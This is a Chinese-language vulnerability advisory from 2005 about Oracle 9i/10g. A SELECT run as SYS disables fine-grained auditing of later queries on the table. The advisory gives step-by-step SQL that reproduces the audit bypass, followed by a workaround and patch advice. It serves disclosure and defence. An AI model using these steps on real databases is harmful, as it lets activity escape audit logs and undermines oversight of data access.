Oracle 9i/10g数据库细粒度审计记录拒绝服务漏洞
发布日期:2005-05-08
更新日期:2005-05-08
受影响系统:Oracle database server 9i
Oracle database server 10g
描述:
BUGTRAQ ID:
13510
Oracle是一款大型商用数据库软件。
Oracle对于审记操作的访问逻辑实现上存在漏洞,攻击者可能利用来躲避审记。
如果SYS用户运行SELECT语句的话,就会禁用细粒度审计(FGA),不会审计SYS发布的SELECT语句。一旦SYS选择了表格的话,所有之后其他用户的SELECT都不会审计。这会导致FGA无法记录记录失效后的日志请求,误导数据库用户的安全理解。
<*来源:Alexander Kornbrust (
ak@red-database-security.com)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=111531683824209&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
1. 创建用户和对象,添加策略
connect /as sysdba
grant dba to fga identified by fga;
conn fga/fga
create table emp as select * from scott.emp;
execute dbms_fga.add_policy(object_schema=>'FGA',
object_name=>'EMP',policy_name=>'FGA_POLICY');
2. 以fga用户运行SQL
conn fga/fga
select count(*) from fga.emp;
select sql_text,to_char(timestamp,'HH24:MI:SS') time
from sys.dba_fga_audit_trail;
--> 返回1行
3. 以SYS用户运行SQL
conn /as sysdba
select count(*) from fga.emp;
select sql_text,to_char(timestamp,'HH24:MI:SS') time
from sys.dba_fga_audit_trail;
--> 返回第二步中得到的1行
没有插入新行
4. 再次以fga用户运行SQL
conn fga/fga
select count(*) from fga.emp;
select sql_text,to_char(timestamp,'HH24:MI:SS') time
from sys.dba_fga_audit_trail;
--> 返回第二步中得到的1行
仍未插入新行
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 不要以SYS用户运行FGA对象的SQL。刷新共享池或重启数据库以再次激活审计。
厂商补丁:
Oracle
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载10.1.0.4补丁集:
http://www.oracle.com浏览次数:3178
严重程度:0(网友投票)